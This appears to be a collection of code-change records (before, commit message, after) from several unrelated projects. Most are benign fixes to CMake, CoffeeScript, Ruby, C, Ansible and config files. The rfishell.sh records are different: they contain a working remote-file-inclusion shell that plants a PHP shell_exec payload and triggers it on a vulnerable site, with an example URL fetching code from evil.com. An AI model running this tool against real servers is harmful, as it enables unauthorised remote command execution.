## Code Before: function(INSTALL_SYMLINK FROM TO COMPONENT) if (MSVC) install(CODE "get_filename_component(FROM_ABSOLUTE ${CMAKE_INSTALL_PREFIX}/${FROM} ABSOLUTE) file(TO_NATIVE_PATH \${FROM_ABSOLUTE} FROM_ABSOLUTE) file(TO_NATIVE_PATH \${CMAKE_INSTALL_PREFIX}/${TO} TO) message(\"mklink /j \${TO} \${FROM_ABSOLUTE}\") execute_process(COMMAND mklink /j \${TO} \${FROM_ABSOLUTE})" COMPONENT "${COMPONENT}") else() install(CODE "execute_process(COMMAND rm -f ${CMAKE_INSTALL_PREFIX}/${TO}) get_filename_component(FROM_ABSOLUTE ${CMAKE_INSTALL_PREFIX}/${FROM} ABSOLUTE) execute_process(COMMAND ${CMAKE_COMMAND} -E create_symlink \${FROM_ABSOLUTE} ${CMAKE_INSTALL_PREFIX}/${TO})" COMPONENT "${COMPONENT}") endif() endfunction() ## Instruction: Install symlinks relative, not absolute This is necessary to fix artifact copy in Jenkins. Besides, the symlinking on Unix for the different SO versions of libraries is also based on relative symlinks. ## Code After: function(INSTALL_SYMLINK) cmake_parse_arguments(THIS "" "" "FROM;TO;WORKING_DIRECTORY;COMPONENT" ${ARGN}) if(MSVC) install(CODE "message(\"mklink /j \${THIS_TO} \${THIS_FROM}\") execute_process(COMMAND mklink /j \${THIS_TO} \${THIS_FROM} WORKING_DIRECTORY ${CMAKE_INSTALL_PREFIX}/${THIS_WORKING_DIRECTORY})" COMPONENT "${THIS_COMPONENT}") else() install(CODE "execute_process(COMMAND rm -f ${THIS_TO} WORKING_DIRECTORY ${CMAKE_INSTALL_PREFIX}/${THIS_WORKING_DIRECTORY}) execute_process(COMMAND ${CMAKE_COMMAND} -E create_symlink ${THIS_FROM} ${THIS_TO} WORKING_DIRECTORY ${CMAKE_INSTALL_PREFIX}/${THIS_WORKING_DIRECTORY})" COMPONENT "${THIS_COMPONENT}") endif() endfunction()
0c8898a52046f38e75c6754cb10455f0ae63043d
app/assets/javascripts/quick_add_url.js.coffee
app/assets/javascripts/quick_add_url.js.coffee
$(document).ready -> quick_add_url_button = $('#quick-add-url-button') input = $('#quick-add-url') status = quick_add_url_button quick_add_url_button.click -> status.text('Submitting URL') url = input.val() $.ajax '/src_images/', type: 'post' contentType: 'application/json' dataType: 'json' data: JSON.stringify(url: url) success: (data) -> status.text('Submitted URL') count = 0 timer = setInterval -> $.ajax "/src_images/#{data.id}", type: 'head', success: -> clearInterval(timer) window.location.replace("/gend_images/new?src=#{data.id}") error: -> clearInterval(timer) status.text('Error loading URL') count += 1 if count >= 10 clearInterval(timer) , 1000 error: -> status.text('Error submitting URL') input.keypress (e) -> if e.which == 13 quick_add_url_button.click()
$(document).ready -> quick_add_url_button = $('#quick-add-url-button') input = $('#quick-add-url') status = quick_add_url_button quick_add_url_button.click -> status.text('Submitting URL') url = input.val() $.ajax '/src_images/', type: 'post' contentType: 'application/json' dataType: 'json' data: JSON.stringify(url: url) success: (data) -> status.text('Submitted URL') count = 0 timer = setInterval -> $.ajax "/src_images/#{data.id}", type: 'head', success: -> clearInterval(timer) window.location.replace("/gend_images/new?src=#{data.id}") count += 1 if count >= 10 clearInterval(timer) status.text('Error loading URL') , 1000 error: -> status.text('Error submitting URL') input.keypress (e) -> if e.which == 13 quick_add_url_button.click()
Fix bug in quick load url retry logic.
Fix bug in quick load url retry logic.
CoffeeScript
mit
mmb/meme_captain_web,mmb/meme_captain_web,mmb/meme_captain_web,mmb/meme_captain_web
coffeescript
## Code Before: $(document).ready -> quick_add_url_button = $('#quick-add-url-button') input = $('#quick-add-url') status = quick_add_url_button quick_add_url_button.click -> status.text('Submitting URL') url = input.val() $.ajax '/src_images/', type: 'post' contentType: 'application/json' dataType: 'json' data: JSON.stringify(url: url) success: (data) -> status.text('Submitted URL') count = 0 timer = setInterval -> $.ajax "/src_images/#{data.id}", type: 'head', success: -> clearInterval(timer) window.location.replace("/gend_images/new?src=#{data.id}") error: -> clearInterval(timer) status.text('Error loading URL') count += 1 if count >= 10 clearInterval(timer) , 1000 error: -> status.text('Error submitting URL') input.keypress (e) -> if e.which == 13 quick_add_url_button.click() ## Instruction: Fix bug in quick load url retry logic. ## Code After: $(document).ready -> quick_add_url_button = $('#quick-add-url-button') input = $('#quick-add-url') status = quick_add_url_button quick_add_url_button.click -> status.text('Submitting URL') url = input.val() $.ajax '/src_images/', type: 'post' contentType: 'application/json' dataType: 'json' data: JSON.stringify(url: url) success: (data) -> status.text('Submitted URL') count = 0 timer = setInterval -> $.ajax "/src_images/#{data.id}", type: 'head', success: -> clearInterval(timer) window.location.replace("/gend_images/new?src=#{data.id}") count += 1 if count >= 10 clearInterval(timer) status.text('Error loading URL') , 1000 error: -> status.text('Error submitting URL') input.keypress (e) -> if e.which == 13 quick_add_url_button.click()
dc4661936a3a59a57c141443a42bed9802ef37e3
app/lib/service_provider.rb
app/lib/service_provider.rb
module ServiceProvider def start_date service_provider_service_start end def end_date service_provider_service_end end def payee service_provider_name || agency_name end def requested_amount service_provider_service_amount end end
module ServiceProvider def display_start_date service_provider_service_start end def display_end_date service_provider_service_end end def payee service_provider_name || agency_name end def requested_amount service_provider_service_amount end end
Fix method names in Supplier module.
Fix method names in Supplier module.
Ruby
mit
weenhanceit/autism-funding,weenhanceit/autism-funding,weenhanceit/autism-funding,weenhanceit/autism-funding
ruby
## Code Before: module ServiceProvider def start_date service_provider_service_start end def end_date service_provider_service_end end def payee service_provider_name || agency_name end def requested_amount service_provider_service_amount end end ## Instruction: Fix method names in Supplier module. ## Code After: module ServiceProvider def display_start_date service_provider_service_start end def display_end_date service_provider_service_end end def payee service_provider_name || agency_name end def requested_amount service_provider_service_amount end end
c581851a1839a63c4873ed632a62982d1c8bb6d0
src/helpers/number_helper.h
src/helpers/number_helper.h
/* * ***************************************************************************** * Copyright 2014 Spectra Logic Corporation. All Rights Reserved. * Licensed under the Apache License, Version 2.0 (the "License"). You may not * use this file except in compliance with the License. A copy of the License * is located at * * http://www.apache.org/licenses/LICENSE-2.0 * * or in the "license" file accompanying this file. * This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * ***************************************************************************** */ #ifndef NUMBER_HELPER_H #define NUMBER_HELPER_H #include <QString> class NumberHelper { public: static const uint64_t B; static const uint64_t KB; static const uint64_t MB; static const uint64_t GB; static const uint64_t TB; static QString ToHumanSize(uint64_t bytes); }; #endif
/* * ***************************************************************************** * Copyright 2014 Spectra Logic Corporation. All Rights Reserved. * Licensed under the Apache License, Version 2.0 (the "License"). You may not * use this file except in compliance with the License. A copy of the License * is located at * * http://www.apache.org/licenses/LICENSE-2.0 * * or in the "license" file accompanying this file. * This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * ***************************************************************************** */ #ifndef NUMBER_HELPER_H #define NUMBER_HELPER_H #include <stdint.h> #include <QString> class NumberHelper { public: static const uint64_t B; static const uint64_t KB; static const uint64_t MB; static const uint64_t GB; static const uint64_t TB; static QString ToHumanSize(uint64_t bytes); }; #endif
Fix windows build by requiring stdint.h
Fix windows build by requiring stdint.h
C
apache-2.0
Klopsch/ds3_browser,Klopsch/ds3_browser,SpectraLogic/ds3_browser,SpectraLogic/ds3_browser,SpectraLogic/ds3_browser,Klopsch/ds3_browser
c
## Code Before: /* * ***************************************************************************** * Copyright 2014 Spectra Logic Corporation. All Rights Reserved. * Licensed under the Apache License, Version 2.0 (the "License"). You may not * use this file except in compliance with the License. A copy of the License * is located at * * http://www.apache.org/licenses/LICENSE-2.0 * * or in the "license" file accompanying this file. * This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * ***************************************************************************** */ #ifndef NUMBER_HELPER_H #define NUMBER_HELPER_H #include <QString> class NumberHelper { public: static const uint64_t B; static const uint64_t KB; static const uint64_t MB; static const uint64_t GB; static const uint64_t TB; static QString ToHumanSize(uint64_t bytes); }; #endif ## Instruction: Fix windows build by requiring stdint.h ## Code After: /* * ***************************************************************************** * Copyright 2014 Spectra Logic Corporation. All Rights Reserved. * Licensed under the Apache License, Version 2.0 (the "License"). You may not * use this file except in compliance with the License. A copy of the License * is located at * * http://www.apache.org/licenses/LICENSE-2.0 * * or in the "license" file accompanying this file. * This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * ***************************************************************************** */ #ifndef NUMBER_HELPER_H #define NUMBER_HELPER_H #include <stdint.h> #include <QString> class NumberHelper { public: static const uint64_t B; static const uint64_t KB; static const uint64_t MB; static const uint64_t GB; static const uint64_t TB; static QString ToHumanSize(uint64_t bytes); }; #endif
2696c7767144bf0a023c06dbab7b080714ab393e
README.rst
README.rst
Netvisor: Python API wrapper ============================ .. image:: https://secure.travis-ci.org/fastmonkeys/netvisor.py.png?branch=master :target: http://travis-ci.org/fastmonkeys/netvisor.py This is an Python wrapper for the Netvisor API. Installation ------------ You can install netvisor with pip:: $ pip install netvisor Resources --------- * `Bug Tracker <http://github.com/fastmonkeys/netvisor.py/issues>`_ * `Code <http://github.com/fastmonkeys/netvisor.py>`_ * `Development Version <http://github.com/fastmonkeys/netvisor.py/zipball/master#egg=netvisor-dev>`_
Netvisor: Python API wrapper ============================ .. image:: https://secure.travis-ci.org/fastmonkeys/netvisor.py.png?branch=master :target: http://travis-ci.org/fastmonkeys/netvisor.py This is an Python wrapper for the Netvisor API. Installation ------------ You can install netvisor with pip:: $ pip install netvisor Usage ----- Creating a Netvisor client:: >>> netvisor = Netvisor( ... host='http://koulutus.netvisor.fi' ... sender='Test client', ... partner_id='xxx_yyy', ... partner_key='E2CEBB1966C7016730C70CA92CBB93DD', ... customer_id='xx_yyyy_zz', ... customer_key='7767899D6F5FB333784A2520771E5871', ... organization_id='1967543-8', ... language='EN' ... ) Resources --------- * `Bug Tracker <http://github.com/fastmonkeys/netvisor.py/issues>`_ * `Code <http://github.com/fastmonkeys/netvisor.py>`_ * `Development Version <http://github.com/fastmonkeys/netvisor.py/zipball/master#egg=netvisor-dev>`_
Add Netvisor client creation instructions
Add Netvisor client creation instructions
reStructuredText
mit
fastmonkeys/netvisor.py
restructuredtext
## Code Before: Netvisor: Python API wrapper ============================ .. image:: https://secure.travis-ci.org/fastmonkeys/netvisor.py.png?branch=master :target: http://travis-ci.org/fastmonkeys/netvisor.py This is an Python wrapper for the Netvisor API. Installation ------------ You can install netvisor with pip:: $ pip install netvisor Resources --------- * `Bug Tracker <http://github.com/fastmonkeys/netvisor.py/issues>`_ * `Code <http://github.com/fastmonkeys/netvisor.py>`_ * `Development Version <http://github.com/fastmonkeys/netvisor.py/zipball/master#egg=netvisor-dev>`_ ## Instruction: Add Netvisor client creation instructions ## Code After: Netvisor: Python API wrapper ============================ .. image:: https://secure.travis-ci.org/fastmonkeys/netvisor.py.png?branch=master :target: http://travis-ci.org/fastmonkeys/netvisor.py This is an Python wrapper for the Netvisor API. Installation ------------ You can install netvisor with pip:: $ pip install netvisor Usage ----- Creating a Netvisor client:: >>> netvisor = Netvisor( ... host='http://koulutus.netvisor.fi' ... sender='Test client', ... partner_id='xxx_yyy', ... partner_key='E2CEBB1966C7016730C70CA92CBB93DD', ... customer_id='xx_yyyy_zz', ... customer_key='7767899D6F5FB333784A2520771E5871', ... organization_id='1967543-8', ... language='EN' ... ) Resources --------- * `Bug Tracker <http://github.com/fastmonkeys/netvisor.py/issues>`_ * `Code <http://github.com/fastmonkeys/netvisor.py>`_ * `Development Version <http://github.com/fastmonkeys/netvisor.py/zipball/master#egg=netvisor-dev>`_
bf7bbf384f20f0e4ecbd949d20c4ba165edc5d0c
.vscode/settings.json
.vscode/settings.json
{ "cSpell.words": [ "Bieber", "Kaashoek", "Saltzer", "asynchrony", "datagram", "outofmoneycom", "unmarshall" ] }
{ "cSpell.words": [ "asynchrony", "bangbang", "Bieber", "datagram", "Kaashoek", "outofmoneycom", "Saltzer", "unmarshall" ] }
Tidy up some spelling issues
Tidy up some spelling issues
JSON
mit
UMM-CSci-Systems/Segmented-file-system-client,UMM-CSci-Systems/Segmented-file-system-client
json
## Code Before: { "cSpell.words": [ "Bieber", "Kaashoek", "Saltzer", "asynchrony", "datagram", "outofmoneycom", "unmarshall" ] } ## Instruction: Tidy up some spelling issues ## Code After: { "cSpell.words": [ "asynchrony", "bangbang", "Bieber", "datagram", "Kaashoek", "outofmoneycom", "Saltzer", "unmarshall" ] }
b94855c9501e331c244c6d08f4f198f5671b0ce7
rfishell.sh
rfishell.sh
function rfi_template { echo "<?php print shell_exec(\"${1}\");?>" > ${2} } function usage { echo "usage: $0 [-f cmd.txt] -u URL" echo "eg : $0 -f /var/www/hack.txt -u \"http://vulnsite.com/test.php?page=http://evil.com/cmd.txt\"" } if [[ -z $1 ]]; then usage exit 0; fi prefix="" suffix="" url="" cmdfile="" rfifile="" while getopts "u:f:" OPT; do case $OPT in u) url=$OPTARG;; f) rfifile=$OPTARG;; *) usage; exit 0;; esac done if [[ -z $url ]]; then usage exit 0; fi which curl &>/dev/null if [[ $? -ne 0 ]]; then echo "[!] curl needs to be installed to run this script" exit 1 fi if [[ ! -z $rfifile ]]; then # use RFI to execute commands while :; do printf "[rfi>] " read cmd rfi_template "${cmd}" ${rfifile} echo "[+] requesting ${url}${prefix}${suffix}" curl "${url}${prefix}${suffix}" echo "" done fi
function rfi_template { echo "<?php print shell_exec(\"${1}\");?>" > ${2} } function usage { echo "usage: $0 -f cmd.txt -u URL [-c \"curl-options\"]" echo "eg : $0 -f /var/www/hack.txt -u \"https://vulnsite.com/test.php?page=http://evil.com/cmd.txt\" -c \"--insecure\"" } if [[ -z $1 ]]; then usage exit 0; fi prefix="" suffix="" url="" cmdfile="" rfifile="" while getopts ":c:u:f:" OPT; do case $OPT in u) url=$OPTARG;; f) rfifile=$OPTARG;; c) curlopts=$OPTARG;; *) usage; exit 0;; esac done if [[ -z $url ]]; then usage exit 0; fi which curl &>/dev/null if [[ $? -ne 0 ]]; then echo "[!] curl needs to be installed to run this script" exit 1 fi if [[ ! -z $rfifile ]]; then # use RFI to execute commands while :; do printf "[rfi>] " read cmd rfi_template "${cmd}" ${rfifile} echo "[+] requesting ${url}${prefix}${suffix}" echo "curl ${curlopts} ${url}${prefix}${suffix}" curl ${curlopts} "${url}${prefix}${suffix}" echo "" done fi
Allow options to curl being passed
Allow options to curl being passed
Shell
mit
superkojiman/rfishell
shell
## Code Before: function rfi_template { echo "<?php print shell_exec(\"${1}\");?>" > ${2} } function usage { echo "usage: $0 [-f cmd.txt] -u URL" echo "eg : $0 -f /var/www/hack.txt -u \"http://vulnsite.com/test.php?page=http://evil.com/cmd.txt\"" } if [[ -z $1 ]]; then usage exit 0; fi prefix="" suffix="" url="" cmdfile="" rfifile="" while getopts "u:f:" OPT; do case $OPT in u) url=$OPTARG;; f) rfifile=$OPTARG;; *) usage; exit 0;; esac done if [[ -z $url ]]; then usage exit 0; fi which curl &>/dev/null if [[ $? -ne 0 ]]; then echo "[!] curl needs to be installed to run this script" exit 1 fi if [[ ! -z $rfifile ]]; then # use RFI to execute commands while :; do printf "[rfi>] " read cmd rfi_template "${cmd}" ${rfifile} echo "[+] requesting ${url}${prefix}${suffix}" curl "${url}${prefix}${suffix}" echo "" done fi ## Instruction: Allow options to curl being passed ## Code After: function rfi_template { echo "<?php print shell_exec(\"${1}\");?>" > ${2} } function usage { echo "usage: $0 -f cmd.txt -u URL [-c \"curl-options\"]" echo "eg : $0 -f /var/www/hack.txt -u \"https://vulnsite.com/test.php?page=http://evil.com/cmd.txt\" -c \"--insecure\"" } if [[ -z $1 ]]; then usage exit 0; fi prefix="" suffix="" url="" cmdfile="" rfifile="" while getopts ":c:u:f:" OPT; do case $OPT in u) url=$OPTARG;; f) rfifile=$OPTARG;; c) curlopts=$OPTARG;; *) usage; exit 0;; esac done if [[ -z $url ]]; then usage exit 0; fi which curl &>/dev/null if [[ $? -ne 0 ]]; then echo "[!] curl needs to be installed to run this script" exit 1 fi if [[ ! -z $rfifile ]]; then # use RFI to execute commands while :; do printf "[rfi>] " read cmd rfi_template "${cmd}" ${rfifile} echo "[+] requesting ${url}${prefix}${suffix}" echo "curl ${curlopts} ${url}${prefix}${suffix}" curl ${curlopts} "${url}${prefix}${suffix}" echo "" done fi
76d2ccde88169d03c5d5e623e2a2393cdcd58d2c
shared/rakefiles/xk.rake
shared/rakefiles/xk.rake
require "rake/clean" import "/rakefiles/xk_config.rake" import "/rakefiles/xk_infra.rake" import "/rakefiles/xk_util.rake" require_relative "./secrets.rb" require_relative "./sh_filter.rb" @exekube_cmd = "/usr/local/bin/xk" # This task is being called from entrypoint.rake and runs inside exekube container. # It applies secret-mgmt, sets secrets, and then executes arbitrary command from args[:cmd]. # You should not invoke this task directly! task :xk, [:cmd, :skip_secret_mgmt, :preserve_stderr] => [:configure] do |taskname, args| @secrets = Secrets.collect_secrets() sh "#{@exekube_cmd} up live/#{@env}/secret-mgmt" unless args[:skip_secret_mgmt] Secrets.set_secrets(@secrets) # GPII-3568 - This is a temporary "hack", to be removed once all our # clusters are migrated to the regional ones. sh_filter "sh -c ' terragrunt_dir=\"live/#{@env}/k8s/cluster\" if [ -d \"$terragrunt_dir\" ]; then cd \"$terragrunt_dir\"; terragrunt state list | grep \"\.cluster$\" \ && terragrunt state mv module.gke_cluster.google_container_cluster.cluster module.gke_cluster.google_container_cluster.cluster-regional; true fi'" sh_filter "#{@exekube_cmd} #{args[:cmd]}", !args[:preserve_stderr].nil? if args[:cmd] end # vim: et ts=2 sw=2:
require "rake/clean" import "/rakefiles/xk_config.rake" import "/rakefiles/xk_infra.rake" import "/rakefiles/xk_util.rake" require_relative "./secrets.rb" require_relative "./sh_filter.rb" @exekube_cmd = "/usr/local/bin/xk" # This task is being called from entrypoint.rake and runs inside exekube container. # It applies secret-mgmt, sets secrets, and then executes arbitrary command from args[:cmd]. # You should not invoke this task directly! task :xk, [:cmd, :skip_secret_mgmt, :preserve_stderr] => [:configure] do |taskname, args| @secrets = Secrets.collect_secrets() sh "#{@exekube_cmd} up live/#{@env}/secret-mgmt" unless args[:skip_secret_mgmt] Secrets.set_secrets(@secrets) sh_filter "#{@exekube_cmd} #{args[:cmd]}", !args[:preserve_stderr].nil? if args[:cmd] end # vim: et ts=2 sw=2:
Clean up cluster migration code after GPII-3568
GPII-3671: Clean up cluster migration code after GPII-3568
Ruby
bsd-3-clause
mrtyler/gpii-terraform,mrtyler/gpii-infra,mrtyler/gpii-terraform,mrtyler/gpii-terraform,mrtyler/gpii-infra,mrtyler/gpii-infra,mrtyler/gpii-infra
ruby
## Code Before: require "rake/clean" import "/rakefiles/xk_config.rake" import "/rakefiles/xk_infra.rake" import "/rakefiles/xk_util.rake" require_relative "./secrets.rb" require_relative "./sh_filter.rb" @exekube_cmd = "/usr/local/bin/xk" # This task is being called from entrypoint.rake and runs inside exekube container. # It applies secret-mgmt, sets secrets, and then executes arbitrary command from args[:cmd]. # You should not invoke this task directly! task :xk, [:cmd, :skip_secret_mgmt, :preserve_stderr] => [:configure] do |taskname, args| @secrets = Secrets.collect_secrets() sh "#{@exekube_cmd} up live/#{@env}/secret-mgmt" unless args[:skip_secret_mgmt] Secrets.set_secrets(@secrets) # GPII-3568 - This is a temporary "hack", to be removed once all our # clusters are migrated to the regional ones. sh_filter "sh -c ' terragrunt_dir=\"live/#{@env}/k8s/cluster\" if [ -d \"$terragrunt_dir\" ]; then cd \"$terragrunt_dir\"; terragrunt state list | grep \"\.cluster$\" \ && terragrunt state mv module.gke_cluster.google_container_cluster.cluster module.gke_cluster.google_container_cluster.cluster-regional; true fi'" sh_filter "#{@exekube_cmd} #{args[:cmd]}", !args[:preserve_stderr].nil? if args[:cmd] end # vim: et ts=2 sw=2: ## Instruction: GPII-3671: Clean up cluster migration code after GPII-3568 ## Code After: require "rake/clean" import "/rakefiles/xk_config.rake" import "/rakefiles/xk_infra.rake" import "/rakefiles/xk_util.rake" require_relative "./secrets.rb" require_relative "./sh_filter.rb" @exekube_cmd = "/usr/local/bin/xk" # This task is being called from entrypoint.rake and runs inside exekube container. # It applies secret-mgmt, sets secrets, and then executes arbitrary command from args[:cmd]. # You should not invoke this task directly! task :xk, [:cmd, :skip_secret_mgmt, :preserve_stderr] => [:configure] do |taskname, args| @secrets = Secrets.collect_secrets() sh "#{@exekube_cmd} up live/#{@env}/secret-mgmt" unless args[:skip_secret_mgmt] Secrets.set_secrets(@secrets) sh_filter "#{@exekube_cmd} #{args[:cmd]}", !args[:preserve_stderr].nil? if args[:cmd] end # vim: et ts=2 sw=2:
6f147e0efc95a0aea6c83699844dafc597a29afa
app/views/exercises/_form.html.erb
app/views/exercises/_form.html.erb
<div class="row"> <div class="col-md-offset-1 col-md-10"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Lista de exercício</h3> </div> <div class="box-body"> <%= form_for @exercise do |f| %> <%= render 'shared/error_messages', object: f.object %> <div class="form-group"> <%= f.label "Título" %> <%= f.text_field :title, class: "form-control" %> </div> <div class="form-group"> <%= f.label "Descrição" %> <%= f.text_area :description, class: "form-control" %> </div> <%= f.submit yield(:button_text), class: "btn btn-primary pull-right" %> <% end %> </div> </div> </div> </div>
<div class="row"> <div class="col-md-offset-1 col-md-10"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Lista de exercício</h3> </div> <div class="box-body"> <%= form_for @exercise do |f| %> <%= render 'shared/error_messages', object: f.object %> <div class="form-group"> <%= f.label "Título" %> <%= f.text_field :title, class: "form-control" %> </div> <div class="form-group"> <%= f.label "Descrição" %> <%= f.text_area :description, class: "form-control" %> </div> <%= f.submit yield(:button_text), class: "btn btn-primary pull-right" %> <% end %> </div> </div> </div> </div> <script type="text/javascript"> console.log($('textarea')[0]) var simplemde = new SimpleMDE( { element: $('textarea')[0], toolbar: ["preview", "|", "bold", "italic", "heading-1", "heading-2", "heading-3", "link", "image", "table", "code", "quote", "unordered-list", "ordered-list", "|", "guide"]}); </script>
Add simplemde markdown editor to form
Add simplemde markdown editor to form
HTML+ERB
mit
rwehresmann/farma_alg_reborn,rwehresmann/farma_alg_reborn,rwehresmann/farma_alg_reborn,rwehresmann/farma_alg_reborn,rwehresmann/farma_alg_reborn
html+erb
## Code Before: <div class="row"> <div class="col-md-offset-1 col-md-10"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Lista de exercício</h3> </div> <div class="box-body"> <%= form_for @exercise do |f| %> <%= render 'shared/error_messages', object: f.object %> <div class="form-group"> <%= f.label "Título" %> <%= f.text_field :title, class: "form-control" %> </div> <div class="form-group"> <%= f.label "Descrição" %> <%= f.text_area :description, class: "form-control" %> </div> <%= f.submit yield(:button_text), class: "btn btn-primary pull-right" %> <% end %> </div> </div> </div> </div> ## Instruction: Add simplemde markdown editor to form ## Code After: <div class="row"> <div class="col-md-offset-1 col-md-10"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Lista de exercício</h3> </div> <div class="box-body"> <%= form_for @exercise do |f| %> <%= render 'shared/error_messages', object: f.object %> <div class="form-group"> <%= f.label "Título" %> <%= f.text_field :title, class: "form-control" %> </div> <div class="form-group"> <%= f.label "Descrição" %> <%= f.text_area :description, class: "form-control" %> </div> <%= f.submit yield(:button_text), class: "btn btn-primary pull-right" %> <% end %> </div> </div> </div> </div> <script type="text/javascript"> console.log($('textarea')[0]) var simplemde = new SimpleMDE( { element: $('textarea')[0], toolbar: ["preview", "|", "bold", "italic", "heading-1", "heading-2", "heading-3", "link", "image", "table", "code", "quote", "unordered-list", "ordered-list", "|", "guide"]}); </script>
97f82ad403f21215f93027d4135e8230f9bfc010
.travis.yml
.travis.yml
language: objective-c osx_image: xcode7.2 xcode_project: Pantry.xcodeproj xcode_scheme: Pantry xcode_sdk: iphonesimulator9.2
language: swift osx_image: xcode8 xcode_project: Pantry.xcodeproj xcode_scheme: Pantry xcode_sdk: iphonesimulator9.3
Update TravisCI config for Xcode 8
Update TravisCI config for Xcode 8
YAML
mit
nickoneill/Pantry,nickoneill/Pantry
yaml
## Code Before: language: objective-c osx_image: xcode7.2 xcode_project: Pantry.xcodeproj xcode_scheme: Pantry xcode_sdk: iphonesimulator9.2 ## Instruction: Update TravisCI config for Xcode 8 ## Code After: language: swift osx_image: xcode8 xcode_project: Pantry.xcodeproj xcode_scheme: Pantry xcode_sdk: iphonesimulator9.3
72a0f9cc266a2a9ab8881541883fb5b8301c3ba1
tasks/install-clt.yml
tasks/install-clt.yml
--- - name: Enable apps to control the computer shell: sudo sqlite3 "/library/application support/com.apple.tcc/tcc.db" 'INSERT INTO "access" VALUES("kTCCServiceAccessibility","/usr/libexec/sshd-keygen-wrapper",1,1,1,NULL,NULL);' ignore_errors: yes - name: Copy install_xcode.sh script copy: src=install_xcode.sh dest=/tmp/ mode=0755 - name: Install xcode shell: /tmp/install_xcode.sh args: executable: /bin/bash register: command_result failed_when: "'Choose an option in the dialog to download the command line developer tools' in command_result.stderr" changed_when: False
--- - name: Enable apps to control the computer shell: sqlite3 "/library/application support/com.apple.tcc/tcc.db" 'INSERT INTO "access" VALUES("kTCCServiceAccessibility","/usr/libexec/sshd-keygen-wrapper",1,1,1,NULL,NULL);' become: yes ignore_errors: yes - name: Copy install_xcode.sh script copy: src=install_xcode.sh dest=/tmp/ mode=0755 - name: Install xcode shell: /tmp/install_xcode.sh args: executable: /bin/bash register: command_result failed_when: "'Choose an option in the dialog to download the command line developer tools' in command_result.stderr" changed_when: False
Use become instead of sudo.
Use become instead of sudo.
YAML
apache-2.0
ivancasco/ansible-role-xcode
yaml
## Code Before: --- - name: Enable apps to control the computer shell: sudo sqlite3 "/library/application support/com.apple.tcc/tcc.db" 'INSERT INTO "access" VALUES("kTCCServiceAccessibility","/usr/libexec/sshd-keygen-wrapper",1,1,1,NULL,NULL);' ignore_errors: yes - name: Copy install_xcode.sh script copy: src=install_xcode.sh dest=/tmp/ mode=0755 - name: Install xcode shell: /tmp/install_xcode.sh args: executable: /bin/bash register: command_result failed_when: "'Choose an option in the dialog to download the command line developer tools' in command_result.stderr" changed_when: False ## Instruction: Use become instead of sudo. ## Code After: --- - name: Enable apps to control the computer shell: sqlite3 "/library/application support/com.apple.tcc/tcc.db" 'INSERT INTO "access" VALUES("kTCCServiceAccessibility","/usr/libexec/sshd-keygen-wrapper",1,1,1,NULL,NULL);' become: yes ignore_errors: yes - name: Copy install_xcode.sh script copy: src=install_xcode.sh dest=/tmp/ mode=0755 - name: Install xcode shell: /tmp/install_xcode.sh args: executable: /bin/bash register: command_result failed_when: "'Choose an option in the dialog to download the command line developer tools' in command_result.stderr" changed_when: False
39bd5362fd96ad187341738accd1a113f7e6353b
lib/tasks/reporting.rake
lib/tasks/reporting.rake
namespace :reporting do desc "Send a daily system report email to confguired recpients" task send_daily_summary_email: :environment do recipents = Array(ENV.fetch("DAILY_REPORT_EMAIL_RECIPIENTS", "[email protected]").split(",")) Renalware::Reporting::ReportMailer.daily_summary(to: recipents) end end
namespace :reporting do desc "Send a daily system report email to confguired recpients" task send_daily_summary_email: :environment do recipents = Array(ENV.fetch("DAILY_REPORT_EMAIL_RECIPIENTS", "[email protected]").split(",")) Renalware::Reporting::ReportMailer.daily_summary(to: recipents).deliver_now end end
Fix non-delivery of daily summary emails
Fix non-delivery of daily summary emails
Ruby
mit
airslie/renalware-core,airslie/renalware-core,airslie/renalware-core,airslie/renalware-core
ruby
## Code Before: namespace :reporting do desc "Send a daily system report email to confguired recpients" task send_daily_summary_email: :environment do recipents = Array(ENV.fetch("DAILY_REPORT_EMAIL_RECIPIENTS", "[email protected]").split(",")) Renalware::Reporting::ReportMailer.daily_summary(to: recipents) end end ## Instruction: Fix non-delivery of daily summary emails ## Code After: namespace :reporting do desc "Send a daily system report email to confguired recpients" task send_daily_summary_email: :environment do recipents = Array(ENV.fetch("DAILY_REPORT_EMAIL_RECIPIENTS", "[email protected]").split(",")) Renalware::Reporting::ReportMailer.daily_summary(to: recipents).deliver_now end end
ebb41c4ea260ab9905c7697648e2d1bb4b3914c8
client.c
client.c
int main(int argc, char *argv[]) { char *host = "127.0.0.1"; int port = 2000; int timeout = 2; int sockfd, n; char buffer[256]; struct sockaddr_in serv_addr; struct hostent *server; struct timeval tv; tv.tv_sec = timeout; server = gethostbyname(host); bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); serv_addr.sin_family = AF_INET; sockfd = socket(AF_INET, SOCK_STREAM, 0); setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(struct timeval)); setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(struct timeval)); connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); n = read(sockfd, buffer, 255); if (n < 0) { perror("error reading from socket"); return 1; } printf("%s\n", buffer); return 0; }
